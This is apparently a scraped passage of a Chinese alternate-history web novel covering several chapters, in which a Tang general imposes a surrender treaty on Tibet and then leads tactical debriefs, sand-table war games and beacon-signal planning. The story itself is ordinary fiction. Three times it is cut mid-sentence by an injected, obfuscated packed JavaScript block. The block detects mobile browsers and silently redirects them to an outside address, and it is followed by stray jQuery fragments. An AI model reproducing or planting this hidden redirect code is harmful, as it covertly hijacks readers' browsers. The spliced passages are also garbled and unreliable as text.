一、立即遣送赞普幼弟勃弄赞为质,入长安侍奉天子。**
二、割让吐谷浑故地(今青海大部)及多弥(今青海东南)、白兰(今青海都兰一带)等东部诸部与大唐。**
三、岁贡黄金五百两,骏马千匹,牦牛五千头,及麝香、砂金、酥油等物若干。
四、开放商路,保护大唐商旅在吐蕃境内安全。
五、承诺永不再犯大唐边境,并接受大唐在逻些城派驻少量军队(名为保护赞普安全)及使者常驻,以便“聆听天朝教化”。
条件比李瑾最后通牒中提出的更为具体,也更为屈辱。尤其是割地和驻军两条,几乎是将吐蕃的独立性剥夺了大半。
李瑾看完,面无表情地将国书递给身旁的薛仁贵等人传阅。帐内一片寂静,只有羊皮卷轴翻动的窸窣声。
良久,李瑾才缓缓开口,声音平静却带着不容置疑的威严:“贵国赞普既有悔过之心,我天朝上国,自当体恤上天好生之德。所陈条款,本帅可代表大唐皇帝陛下与天后殿下,暂且应允。”
噶尔·钦陵闻言,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005856|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
心中苦涩与庆幸交织,连忙以头触地:“外臣代我主赞普,叩谢大总管仁慈!叩谢大唐皇帝陛下、天后殿下天恩!**”
“且慢。”李瑾话锋一转,“口说无凭,需立字为据。三日之后,请贵国赞普亲自出城,于我军营前,与本帅歃血为盟,签订盟约。届时,我大唐皇帝陛下的册封诏书与印玺,亦会当场颁赐。此外,盟约签订之前,为表诚意,请贵国先行送出人质,并开放东门,允我军派一千人入城‘协助’防务,以防宵小作乱,惊扰赞普。”这最后一句,明显是要先行控制部分城防,确保万无一失。**
噶尔·钦陵身体一颤,这是要将最后一点体面也剥夺殆尽。但他知道,此时此刻,吐蕃已无任何讨价还价的资本。他只能将头埋得更低,声音艰涩:“外臣……遵命。一切但凭大总管安排。**”
三日之后,逻些城东,唐军大营前。
一座临时搭建的高台矗立在旷野之上。高台一侧,是甲胄鲜明、刀枪如林的唐军方阵,肃杀之气冲天。更远处,那十门曾经展示过毁灭之威的“雷霆将军炮”依旧静静地指向逻些城方向,威慑之意不言而喻。高台另一侧,是数量稀少、垂头丧气的吐蕃贵族和官员。更多的吐蕃人,则是在城头上,远远地、默默地望着这屈辱的一幕。**
吉时已到。身着唐朝郡王礼服的李瑾,在众将簇拥下登上高台。随后,吐蕃赞普芒松芒赞脱去了赞普冠冕,换上了唐朝亲王级别的紫色**袍(这是李瑾派人送去的),在大论噶尔·钦陵等人的陪同下,步履沉重地走上高台。他的脸色苍白如纸,眼神躲闪,不敢与对面唐军将士的目光对视。**
仪式由随军的礼部官员主持。首先,宣读大唐皇帝李治册封芒松芒赞为“吐蕃国王、大唐西海郡王”的诏书。接着,双方在事先拟好的盟约文本(即国书内容的正式化、仪式化)上用印。大唐一方用的是“大唐皇帝之宝”和“行军大总管李瑾之印”,吐蕃一方用的是芒松芒赞新的“吐蕃国王印”。
用印完毕,有军士捧上白马、青牛之血混合的血酒。李瑾与芒松芒赞各执一杯,对天、对地盟誓。李瑾声音清朗,掷地有声。芒松芒赞的声音则细若蚊蚋,身体微微颤抖。盟誓完毕,双方将血酒洒于地上预先挖好的土坑中,表示盟约告知天地,不可违背。最后,将盟约文本副本埋入坑内,筑起一座小小的“盟誓坛”。**
整个过程中,芒松芒赞都像一个提线木偶,机械地完成着每一个步骤。当仪式终于结束,李瑾代表大唐皇帝接受芒松芒赞的三跪九叩大礼时,这位年轻的吐蕃王者终于再也忍不住,泪水夺眶而出,只是强忍着没有哭出声来。他知道,从此以后,他不再是吐蕃的赞普,而只是大唐皇帝册封的一个郡王,一个需要仰大唐鼻息的藩属。松赞干布时代以来吐蕃的崛起与荣光,在他手中,暂时画上了一个耻辱的句号。
仪式结束后,李瑾下令三军欢庆,并赐下酒肉。唐军大营中顿时欢声雷动,“大唐万岁!陛下万岁!天后万岁!大总管万岁!”的呼声震天动地。而逻些城头,只有一片死寂和压抑的哭泣声。
李瑾没有参加狂欢。他独自走到营外的高坡上,望着暮色中轮廓依稀的逻些城和更远处巍峨的雪山。寒风吹动他的披风,猎猎作响。这一纸盟约,是用火炮和鲜血铸就的。它标志着大唐对吐蕃取得了自太宗皇帝以来前所未有的战略优势。但李瑾知道,征服一个民族的肉体容易,征服其心灵却难。吐蕃人的屈辱和仇恨,不会因为一纸盟约而消失,只会深深埋藏。未来,这片高原上必定还会有风波。
不过,那都是后话了。至少在可见的未来数年甚至十数年内,吐蕃将无力也无胆再对大唐构成重大威胁。安西、河陇的边患将大为缓解,丝绸之路也将更加畅通。而他李瑾,也将凭借此不世之功,携着无上的荣耀与威望,以及一支经过血火淬炼、对他无比忠诚的新式军队,返回长安。朝堂之上,等待他的,又将是怎样的局面呢?
他收回目光,转身向灯火通明、欢声如雷的大营走去。身后,高原的夜幕彻底降临,将一切吞没。只有远处唐军营寨的点点火光,以及更远处逻些城头零星的灯火,在无边的黑暗中顽强地闪烁着。
大唐咸亨元年秋,吐蕃赞普芒松芒赞于逻些城下,与大唐行军大总管、赵国公李瑾签订城下之盟,去帝号,称臣纳贡,割地遣质。自此,吐蕃臣服,大唐兵威,震慑西陲。
第161章 辕门夜谈兵
逻些城外的唐军大营,在经历了白日的盟誓大典和全军欢庆后,逐渐安静下来。夜色如墨,高原的星辰格外明亮璀璨,仿佛无数冷冽的钻石撒在天鹅绒般的天幕上。营地中篝火点点,与星光交相辉映,巡逻士卒的脚步声和铠甲碰撞的轻响,在寒夜中格外清晰。**
中军大帐内,却是灯火通明。数盏牛油大蜡将帐内照得如同白昼。李瑾已卸去了白日的华丽礼服,换上一身便于行动的窄袖胡服,外罩一件玄色貂裘,正站在一张巨大的木制案几前。案几上铺着一张详细的西域及吐蕃地形图,上面用不同颜色的小旗标注着唐军此次西征的行军路线、主要战场以及各部驻防位置。**
薛仁贵、郭待封、黑齿常之、王方翼、阿史那道真、娄师德等此番西征的主要将领,以及神策军中几位表现突出的中级将领,皆肃立两侧。众人脸上的酒意已退,取而代之的是专注与凝重。他们知道,大总管连夜召集他们,绝非只是为了庆功。**
“诸位,”李瑾用手中的细木棍点了点地图上逻些城的位置,声音平静而清晰,“吐蕃已降,盟约已签。然而,此战之胜,非一人一时之功,乃将士用命,上下同心之果。今夜召集诸位,不为庆贺,而是要与诸位一同,复盘此次西征大小数十战,总结得失,研讨战法。胜而不骄,败而不馁,方为强军之道。诸位皆是此战亲历者,不必拘束,有何心得、疑惑,乃至不同看法,皆可畅所欲言。”
众将闻言,精神都是一振。复盘战事,总结经验,这是古今名将带兵的重要法门。但像李瑾这般,在取得如此辉煌大胜后,不急于表功请赏,反而先沉下心来总结战法,确实令人敬佩。**
老将薛仁贵率先拱手道:“大总管所言极是。此战我军连战连捷,火炮之威,实为首功。然而,老夫以为,火炮虽利,却非唯一之因。大总管用兵,步、骑、炮协同有序,斥候侦查先行,后勤保障有力,方是制胜关键。尤其是野狼谷一役,先以火炮远距轰击,乱其阵脚,再以精骑两翼包抄,步卒正面推进,时机拿捏之准,各部配合之妙,令老夫叹为观止。此等战法,迥异于我等过去所熟知的战阵之道。”薛仁贵虽是宿将,但并不保守,对新式战法接受很快,此番点评也切中要害。
郭待封接口道:“薛老将军说的是。末将印象最深的,是大非川之战。吐蕃据险而守,若按旧法,必是蚁附攻城,死伤惨重。而大总管先以火炮集中轰击其一段城墙与关门,打开缺口,同时以弓**手和其他火炮压制两翼敌军,使其不能相救。待城墙崩塌,敌军惊慌之际,精选敢死之士突击缺口,一举破城。此法大大减少了我军伤亡,且破城速度极快。末将以为,此‘步炮协同,重点突破’之法,可为日后攻城拔寨之典范。”
李瑾点点头,用木棍在地图上大非川的位置画了个圈:“郭将军总结得好。火炮出现,改变的不仅是杀伤方式,更是作战的思路。过去攻城,主要依靠人力堆积和器械破坏,耗时长,伤亡大。而火炮可在远距离上摧毁城防,打击敌军士气。但火炮亦非万能,其移动不便,射速有限,且极为依赖后勤补给。因此,如何将火炮与步兵、骑兵有效结合,发挥各自优势,是未来我大唐军队必须掌握的关键。”
他顿了顿,目光扫过众将:“薛将军提到了步、骑、炮协同。本帅以为,此三者关系,可概括为八个字:‘炮为先导,步为中坚,骑为锋镝’。具体而言——”李瑾的语调变得清晰而有力,开始系统地阐述他的军事思想:
“一是战前侦察与火力准备。千里镜(望远镜)的使用,使我军耳目大开,可先敌发现,先敌部署。此次西征,我军斥候屡建奇功,便是明证。未来,不仅要装备更多的千里镜,还要建立专门的侦察与绘图部队,将敌情、地形摸得一清二楚。在确定敌军主力与要害后,火炮便是开路先锋。不再是过去那种盲目的覆盖轰击,而是要有选择地进行‘重点拔点’和‘火力压制’。比如对敌军指挥中枢、精锐集结地、弓**阵地、城墙关键点等,进行精确的集中轰击,务求在接敌前,最大程度削弱敌军战斗力和指挥体系。**”
“二是步兵的新使命。在火炮轰击后,步兵不再是单纯冲锋陷阵的肉搏兵种。他们需要在火炮掩护下,快速接敌,清剿残敌,巩固阵地。尤其是装备了新式燧发火枪的部队,其排枪齐射的密集火力,在中近距离上可以有效扼杀敌军的反冲锋。步兵阵型也需改变,不再追求厚实的大方阵,而应更加灵活,能快速分散以减少炮火伤亡,又能迅速集结发起突击。同时,步兵中应加强工兵和爆破手的比例,用于清除障碍、架设浮桥、爆破城门等。”
“三是骑兵的角色转变。在火炮和火枪面前,传统的大规模骑兵冲锋将越来越困难,损失也会越来越大。骑兵的未来,在于机动性和突然性。他们应更多地承担侦察、追击、迂回包抄、切断敌后路、袭扰敌粮道等任务。在正面战场上,骑兵应作为一支关键的战略预备队,在敌军阵线动摇或溃败时,发起致命一击,扩大战果,而非用于正面冲击严阵以待的敌阵。此次野狼谷之战,黑齿将军率领的精骑表现出色,便是明证。”李瑾看向黑齿常之,后者连忙躬身致意。
“四是后勤与通讯。火炮、火枪、新式铠甲,无一不是吞金噬铁的巨兽。没有强大、高效、稳定的后勤补给体系,一切新式战法都是空谈。此次西征,我们建立的驮马队、工兵修路队、野战医院、标准化的粮秣弹药补给点,功不可没。未来,这一体系不仅要维持,还要进一步强化、制度化。此外,烽火、驿骑、信鸽乃至更快捷的通讯方式,都是保证军令畅通、把握战机的关键。**”
“五是心理与士气。火炮巨大的声响和毁伤效果,对敌军士气的打击是毁灭性的。我们不仅要在肉体上消灭敌人,更要在精神上摧垮他们。同时,对我军而言,熟练掌握新式武器,看到其巨大威力,本身就是最好的士气鼓舞。因此,平时的严格训练、对武器性能的熟悉,以及对新战法的理解和信心,至关重要。此次神策军将士表现出的高昂士气和严明纪律,便是长期严训的结果。”
李瑾的阐述条理清晰,深入浅出,不仅是对此次西征经验的总结,更是一套成体系的军事理论雏形。帐中众将听
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005857|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
得聚精会神,不时有人露出恍然大悟或深思的表情。这些久经沙场的将领,凭着丰富的实战经验,自然能听出李瑾话中蕴含的巨大价值。
薛仁贵抚须沉吟道:“大总管高见,令老夫茅塞顿开。尤其是这‘炮为先导,步为中坚,骑为锋镝’九字,道尽了新式战法之精髓。只是……此等战法,对各军协同要求极高,对将领指挥调度之能,亦是极大考验。若是将领不通火炮性能,不明各部优劣,胡乱指挥,恐怕反受其害。**”
“薛老将军所虑极是。”李瑾赞许地点头,“所以,未来我大唐的将领,不能只知道骑马冲锋、列阵厮杀。他们需要学**的东西还有很多:如何计算火炮射程与弹道,如何判断不同地形对各兵种的影响,如何组织复杂的后勤补给,如何利用新式器械进行工程作业……本帅已有所思量,待回朝之后,或可奏请陛下与天后,于长安或洛阳,设立一所‘讲武堂’或‘军事学院’,专司培养熟悉新式战法的将校人才。不仅要学**战阵搏杀,更要学**兵法谋略、地理天文、器械制造乃至数学测量。**”
“军事学院?”众将闻言,眼睛都是一亮。这可是前所未闻的创举。过去将领多靠家传、行伍积累或个人天赋,若能有系统学**之所,对大唐军队的长远发展,好处不言而喻。
“另外,”李瑾继续说道,目光变得锐利起来,“此次西征,也暴露了一些问题。比如,火炮在高原山地运输极为困难,耗费人力物力巨大。未来是否可以设计更轻便、更易分解组装的山地炮?又比如,火枪在雨雪天气下可靠性降低,如何改进?还有,我军对吐蕃的地形、气候、部落分布了解仍不够深入,导致后期进军时在补给和向导上遇到不少麻烦。这些,都需要我们在未来逐一解决。**”
他看向众将,声音沉稳而有力:“一支强大的军队,不仅要能打胜仗,更要善于从胜仗和败仗中学**,不断改进。今日之谈,便是一个开始。望诸位将军回去后,也能督促麾下将校,好生总结此战经验,撰写成文,互相交流。本帅会令人收集整理,编纂成册,作为我军未来训练作战之参考。**”
“末将遵命!”众将齐声应道,声音中充满了敬服与振奋。他们知道,今夜这场“辕门夜谈”,不仅是一次战后总结,更是一次军事思想的洗礼。跟随这样一位不仅能打胜仗,更能总结经验、着眼未来的统帅,是他们的幸运,也是大唐军队的幸运。
李瑾最后将木棍点在逻些城上,缓缓道:“吐蕃虽已臣服,然西域广大,强邻环伺。此番西征,只是我大唐重新经略西域、保障丝路安全的第一步。未来,还有更多的硬仗要打,更多的挑战要面对。望诸位戒骄戒躁,勤练不辍,将今日所论之新法,融会贯通,方能在未来的战场上,继续扬我大唐军威,开疆拓土,建不世之功!”
“谨遵大总管教诲!扬我大唐军威,开疆拓土!”众将轰然应诺,声震帐外。夜色中,逻些城默然矗立,而唐军大营内的灯火,却仿佛照亮了更远的征途。一场关于军事变革的思想火种,已在这高原寒夜的辕门之内,悄然点燃。**
第162章 沙盘推演精
辕门夜谈后的次日,逻些城外的唐军大营便开始了一项新奇的操练。不是震耳欲聋的火炮试射,也不是杀声震天的阵列演**,而是在中军大帐旁新搭建的一座宽敞木棚内,聚集了数十名中高级将领和参谋人员,对着一座巨大的沙盘,进行着激烈的争论与推演。
这沙盘是李瑾早就命随军工匠,根据此次西征一路上斥候绘制的地形图、当地向导的口述以及缴获的部分吐蕃地图,连夜赶制而成。长宽各逾两丈,以木框围边,内填细沙并掺入胶泥固定出大致地形。山脉用不同高度的木块或石块叠砌,并涂以青褐之色;河流湖泊则用蓝色染料绘出或以薄层水银(极珍贵,仅关键水系使用)模拟;道路、城寨、关隘、草场、森林等,皆用不同颜色的小旗、木牌或特制的微型模型标注。整个沙盘涵盖了从吐谷浑故地到逻些城,乃至更西的勃律、大小勃律等地的主要地形,虽然比例和精确度无法与后世相比,但在这个时代,已是了不起的军事杰作,足以让第一次见到它的将领们目瞪口呆。
“此物……竟能将千里山川,缩于方寸之间?”老将薛仁贵绕着沙盘走了两圈,忍不住伸手抚摸着那些标注着他曾经浴血奋战过的山川要隘的模型,感慨万千。“昔年老夫征战,所凭不过粗陋舆图与向导口述,若早有此等神物,不知可少走多少弯路,少折多少弟兄。”
李瑾手持一根细长的竹鞭,站在沙盘一侧,微笑道:“薛帅,此物名为‘沙盘’,正是用于直观地形、推演战局。地图再详尽,终究是平面,山川起伏、道路迂回、地势险易,难以尽显。有了这沙盘,敌我态势,一目了然。今日召集诸位,便是要用此物,复盘我军此次西征几场关键战役,并假想未来可能之敌情,进行‘兵棋推演’。**”
“兵棋推演?”众将又是一阵交头接耳,对这个新名词充满好奇。
“所谓兵棋推演,”李瑾示意亲兵抬上几个木箱,打开后,里面是制作精良的各色小木人、小旗和其他标记物。木人涂成红黑两色,分别代表唐军与敌军,骑兵、步兵、弓**手、火炮等兵种形态各异,还有代表粮草、营寨、障碍的小模型。“便是将敌我双方之兵力、部署、意图,化为这沙盘之上的棋子,依据实际地形、兵力对比、天气后勤等因素,模拟交战过程。双方各有指挥,你来我往,预判对方行动,制定己方策略。可以是对过去战事的复盘研讨,也可以是对未来战事的预先演练。目的,便是在不流血的情况下,发现问题,磨砺将略,做到‘料敌先机’。**”
众将闻言,无不啧啧称奇。这等将战场缩于案几之上的方法,着实新颖,更关键的是,它看起来极为实用。
“今日,我们先来复盘大非川之战。”李瑾用竹鞭指向沙盘上标记着“大非川”的位置。立刻有两名事先受过训练的年轻参谋上前,迅速在沙盘上摆放好代表当时唐军与吐蕃守军的兵棋。红色木人代表唐军,主力位于关城东南方向,其中数个特殊的小木架子代表火炮阵地。黑色木人代表吐蕃军,密集布防于关墙之上及关后营地。
“当时,吐蕃守将论钦陵之侄率精兵五千固守大非川关。此关扼守要道,两侧山势陡峭,易守难攻。”李瑾简要介绍了初始态势,然后道:“当时是郭待封将军主攻。郭将军,请你来执红棋,重现当日你的攻城部署与过程。薛帅,麻烦您执黑棋,扮演吐蕃守将,可以根据您的判断,重新指挥守军,看看是否有更好的守御之法,或是当日吐蕃军是否有其他选择。**”
郭待封和薛仁贵对视一眼,都来了兴致。郭待封走到沙盘代表唐军的一侧,略一沉吟,便开始移动代表火炮的棋子:“末将当日之策,乃是集中全部二十门火炮于此处(他指了指关城东南一处相对开阔的高地),距关墙约一里半。此距离,我军火炮可有效轰击城墙,而敌军弓**与投石机却难以伤我。”他一边说,一边摆放棋子。
薛仁贵抚须看着沙盘,沉思片刻,移动了几个代表吐蕃军的黑色木人:“若是老夫守城,见你火炮威力惊人,必不会将所有兵力聚于城头挨打。当分出至少两千精锐,藏于关后两侧山谷隐蔽处(他指了指沙盘上关城后方的两处凹地)。待你炮击结束,步卒开始攀城或从缺口突入时,这两支伏兵再突然杀出,内外夹击,或可重创你攻城先登之士。”
郭待封眉头一皱,点头道:“薛帅所言极是。当时末将也虑及此点,故在炮击之时,已派出数支精锐斥候,携带弓**与响箭,前出至关城两翼山脊制高点监视。同时,命骑兵在两翼游弋戒备,防备敌军出关逆袭或伏兵突出。而主攻方向,则集中火炮猛轰关门及左侧一段看起来稍显古旧的城墙。”他移动代表唐军步兵和工兵的红色棋子,向关墙推进。
“炮击持续约半个时辰,关门及左侧城墙多处崩塌,出现数处缺口。此时,末将并未立刻发动全面进攻。而是命令火炮延伸射击,覆盖关墙后方的吐蕃军营地和可能的集结点,压制敌军反扑。同时,派出数支百人规模的精悍小队,携带弓**、盾牌和钩索,从不同缺口试探性进攻,一是清剿缺口附近残敌,二是侦察关内敌军部署。**”
薛仁贵点头:“稳扎稳打,是为将之道。若是老夫,见你只派小股部队试探,或会故意示弱,引诱你主力深入,再以伏兵和预备队围而歼之。不过,你有火炮持续压制,我的预备队很难大规模集结。而你的小股部队若发现我关内空虚或伏兵迹象,可立刻后撤,损失不大。此法甚妥。**”
“薛帅明鉴。”郭待封接着道,“试探小队回报,关内敌军在炮火下已呈溃乱之象,但两侧确有不少敌军躲在残垣断壁后,试图反击。于是末将命令火炮对这些残存的抵抗点进行一轮精确的覆盖射击,同时,步兵主力分为数队,在弓**手和部分火枪手的掩护下,从三个最大的缺口同时发起突击。骑兵则在两翼待机,防备敌军溃兵逃窜或有援军到来。”他将代表主力步兵的红色棋子快速推过关墙缺口,黑色棋子则被不断移除或向后溃退。
“最终,我军以较小代价攻克大非川关,歼敌三千余,俘获近千。”郭待封总结道。
薛仁贵看着沙盘上的棋局变化,沉吟良久,方才叹道:“复盘看来,郭将军当日指挥已是稳妥老辣,尤其是步炮协同与梯次进攻,将火炮之利与步卒之勇结合得恰到好处。若是换了老夫当年,恐怕也只能选择夜袭或长期围困,断不能如此迅捷破关。火器之威,加上新式战法,确实令攻守之势为之一变。”他顿了顿,又道:“不过,若是吐蕃守将不是固守关墙,而是主动弃关,以部分兵力在关前隘路层层设伏阻击,主力则退往后方更险峻之处另设防线,同时派骑兵不断袭扰我军漫长的补给线,此战又当如何?**”
这个问题一出,棚内众将也都陷入了思考。的确,火炮虽利,但对后勤和地形要求极高。若敌人避实就虚,不与你正面决战,而是利用高原广袤空间和复杂地形进行持久骚扰和截断粮道,确实是个棘手的问题。
李瑾赞许地看了薛仁贵一眼,这位老将一眼就看到了新式战法面对游击骚扰时可能的软肋。他接过话头:“薛帅所虑,正是未来我军在西域乃至其他复杂地形作战可能面临的难题。这便引出了我们下一个推演课题。**”
他示意参谋将沙盘上的棋子清空,重新布置。这一次,地形换成了逻些城以西数百里外的一片丘陵与河谷交错地带。“假设情境:吐蕃虽已臣服,但其西部某大贵族不服王化,聚兵万余,凭借此处复杂地形,不与我军正面交锋,专事袭扰我军粮道、劫掠归附部落,意图拖垮我军。我军需派一支偏师前往清剿,兵力假设为步骑混编八千,其中骑兵两千,步兵六千(含五百火枪手,携带轻型野战炮十门)。敌军则化整为零,熟悉地形,来去如风。诸位,若是你为将,该如何应对?”
这个想定一出,众将顿时议论纷纷。这与之前的攻城战和野战阵列战迥然不同,更加考验将领的战术灵活性和对复杂环境的适应能力。**
黑齿常之率先开口:“大总管,末将以为,对付此等飘忽不定之敌,当以骑制骑,以快
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17005858|193951||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
制快。我军两千精骑,可分为数队,每队配备向导及熟悉当地情况的归附部落战士,以大队为单位,在敌活动区域反复扫荡、巡逻,压缩其活动空间。步兵主力则稳扎营垒,护住粮道要害,并以火炮和火枪手加强关键节点的防御,使敌无法肆意劫掠。同时,可悬赏当地部落,提供敌踪情报。**”
王方翼则道:“黑齿将军之法稳妥,然耗时可能较长。末将有一策,或可称‘钓鱼’之计。可选一处地势相对平缓、利于我军发挥火力优势之地,以小股步兵押运一批粮草辎重为饵,故意显得防备松懈。主力则埋伏于附近高地或谷地之中,骑兵藏于更远处待机。若敌军贪图粮草来袭,步兵饵兵固守待援,伏兵四起,火炮轰击其退路,骑兵截杀,或可一战歼其主力。”
阿史那道真出身突厥,对游牧骑兵战法更为熟悉,他补充道:“王将军之计甚妙,但需防敌不上钩,或是分兵多路小股袭扰。末将以为,可双管齐下。一面以精骑扫荡施压,一面派人招抚或离间当地部落,许以重利,分化其盟友,断其眼线和补给。对于那不服的贵族本部,可寻其冬季牧场或重要聚集地,以步兵主力携火炮长途奔袭,直捣其巢穴。骑兵游走不定,但其家眷、牲畜、财物总有固定之所。”
众将你一言我一语,各抒己见,有的主张分兵进剿,有的主张筑堡稳进,有的主张招抚为主、剿抚并用。李瑾并不急于评判,而是让不同观点的将领分成两组,一组扮演唐军指挥,一组扮演吐蕃叛军首领,在沙盘上开始对抗推演。**
一时间,木棚内气氛热烈无比。双方不断移动棋子,阐述自己的行动和意图,并由李瑾和几位经验最丰富的老将担任裁判,依据地形、天气(李瑾甚至引入了简单的天气变化和随机事件卡片)、士气、后勤等因素,判定每一步行动的可能结果。推演中,各种意想不到的情况频出:唐军的饵兵成功引诱了叛军主力,却因为伏击圈设置不当被对方提前发觉而逃脱;叛军成功劫掠了一支运粮队,却因为分赃不均导致内讧;唐军骑兵长途奔袭叛军老巢,却遇上暴风雪迷失方向……
每一次推演,无论胜负,都会引发激烈的讨论和反思。将领们不再局限于自己固有的经验,开始尝试从对手的角度思考问题,考虑更多的变数。沙盘之上,兵棋挪移间,仿佛真的有千军万马在厮杀,有无数的谋略与应对在碰撞。
“妙!实在是妙!”薛仁贵看着沙盘上双方不断变化的态势,眼中放光,“不费一兵一卒,便可在这方寸之地,演练诸般战法,考验将领应变。此物此法,堪比十万精兵!若能推广开来,令各军将领时常推演,何愁我大唐将帅无谋?**”
李瑾笑道:“薛帅过誉了。沙盘推演,重在‘料敌先机’与‘多算多胜’。它不能代替真正的血火厮杀,也无法完全模拟战场上所有的偶然与士卒的意志。但它能让我们在战前,便将各种可能发生的情况、可能遇到的困难,乃至可能犯的错误,都尽可能地想到,并找到应对之策。如此,真正临敌之时,方能多一分从容,少一分慌乱。这便是‘先为不可胜,以待敌之可胜’。”
他环视众将,声音沉稳而有力:“从今日起,各军主要将领与参谋,每日需抽出时间,在此进行沙盘推演。内容不限,可复盘旧战,可推演未来可能之战,甚至可假想与其他强敌如西突厥、大食人交战之情景。所有推演之结果、心得,皆需记录在案,汇总成册。本帅希望,有朝一日,我大唐每一位领兵之将,都能熟悉此法,都能在沙盘之上,运筹帷幄,决胜千里!”
“谨遵大总管将令!”众将轰然应诺,眼中皆是跃跃欲试与深思之色。他们知道,这看似游戏般的沙盘推演,其价值绝不亚于一场真刀真枪的实战演练。这是一种全新的思维方式和训练方法,正悄然改变着这支军队的未来。
木棚之外,高原的阳光明媚,照在逻些城头新插上的唐字大旗上。而棚内,关于战争艺术的思考与碰撞,才刚刚开始。这精妙的沙盘,便是孕育未来无数胜机的第一方沃土。
第163章 烽火传军情
沙盘推演的余热未散,逻些城内外的唐军便又开始了一项同样重要,却更为繁琐艰巨的工作——梳理、整顿并重新规划吐蕃故地及其通往大唐的信息传递脉络。此次西征,虽然势如破竹,但李瑾与众将在总结时都清晰地意识到一个关键问题:大唐在西域乃至吐蕃的情报传递与军令下达体系,仍然过于粗放和缓慢,难以适应新式军队快速机动、协同作战的需求。
这日,李瑾召集主要将领及军中负责文书、斥候、向导的相关官员,齐聚于原吐蕃赞普宫殿改建的临时帅府议事厅。厅堂中央,除了那幅巨大的西域沙盘,还悬挂起了数幅新绘制的详图,不仅有地形图,更有标注着原有及计划中的道路、驿站、烽燧位置的交通与警讯传递路线图。**
“诸位,”李瑾用竹鞭指向地图,“兵贵神速,而‘神速’二字,不仅在于将士用命、器械精良,更在于军情畅达、号令迅捷。此番西征,我军虽有千里镜等物助力观察,然军情往返于长安与前线,动辄数月;各路大军之间,亦常因山川阻隔、道路不畅而消息迟滞。吐蕃能在高原纵横多年,除了兵马悍勇,其对本土地形的熟悉以及通过部落网络传递消息的速度,亦是关键。我军若欲长久镇抚西陲,保丝路畅通,一套高效、稳定、不受天气地形过多制约的军情传递体系,乃是重中之重。”
薛仁贵深有同感:“大总管所言极是。老夫昔年征战,多次因为军情不明或号令延误而贻误战机,甚至陷入险境。尤其是在这高原之上,道路艰险,天气变幻莫测,信使往返一次,耗时费力,且常有不测。若能建立起一套更为快捷可靠的传讯之法,无异于为大军装上了千里眼、顺风耳。”
“然也。”李瑾点头,走到那幅标注着烽燧驿站的地图前,“我大唐本有驿传与烽燧之制,然西域及吐蕃之地,驿站稀少,烽燧年久失修,且旧有烽燧多只用于边境预警,信号简单,难以传递复杂军情。本帅之意,乃是借此次大军屯驻、威压西域之机,对从长安经河西走廊、吐谷浑故地,直至逻些城,再辐射安西四镇的整条路线,进行一次彻底的重新规划与建设。此事,关乎未来西域长治久安与军事调度效率,需立即着手,不容拖延。**”
他顿了顿,开始详细阐述自己的构想:“首先,是烽燧系统的改进与扩建。旧有烽燧,多以狼烟(白昼)与烽火(夜间)为号,通常只有‘有警’、‘无警’或简单的敌军规模信号。本帅意在此基础上,增加信号种类与复杂程度。”
他示意亲兵展开一卷草图,上面画着不同的烽火台结构和信号组合示意。“可在重要的烽燧点,增设不同高度和位置的火堆或烟灶。例如,以火堆数量表示敌军规模(一堆为小股,两堆为中等,三堆为大军);以火堆排列形状(直线、三角、方形)或烟柱颜色(通过添加不同燃料实现,如狼粪烟直而浓,加湿草则烟色发青等),表示敌军来袭方向或兵种大致构成(骑兵、步兵)。甚至可在白昼辅以不同颜色、数量的旗帜或悬挂物进行更复杂的信号传递。**”
“此外,”李瑾继续道,“烽燧的设置不能只沿着传统的边墙或主要城镇。在一些关键的山口、河谷要道、水源地附近,也应择险要处建立小型烽火台或瞭望哨。这些哨所不需要大量驻军,三五人即可,配备良好的观察器具(如改良后的简易望远镜)和足够的燃料、信号工具。他们的任务就是观察和预警,一旦发现敌情,立刻点燃烽火,将警讯沿着事先规定好的路线快速传递出去。如此,便可在敌军深入我境或袭扰我补给线之初,便能及时发现并预警。”
“妙啊!”负责斥候侦缉的将领拍案叫好,“如此,那些吐蕃溃兵或不安分的部落,再想偷袭我粮道或边地村落,就难了!只要一处烽燧点燃,消息便能如烽火燎原般迅速传开,我方骑兵或附近驻军便可及时驰援或拦截。**”
“烽火传警,贵在神速,然其所传信息终究有限。”李瑾话锋一转,“更详尽的军情、人物调动、粮草补给安排、朝廷诏令等,则需依赖驿传系统。我朝驿传本已完备,然西域之地,驿站间距过远,驿马、驿卒不足,道路条件亦差。本帅意欲做如下改进:”
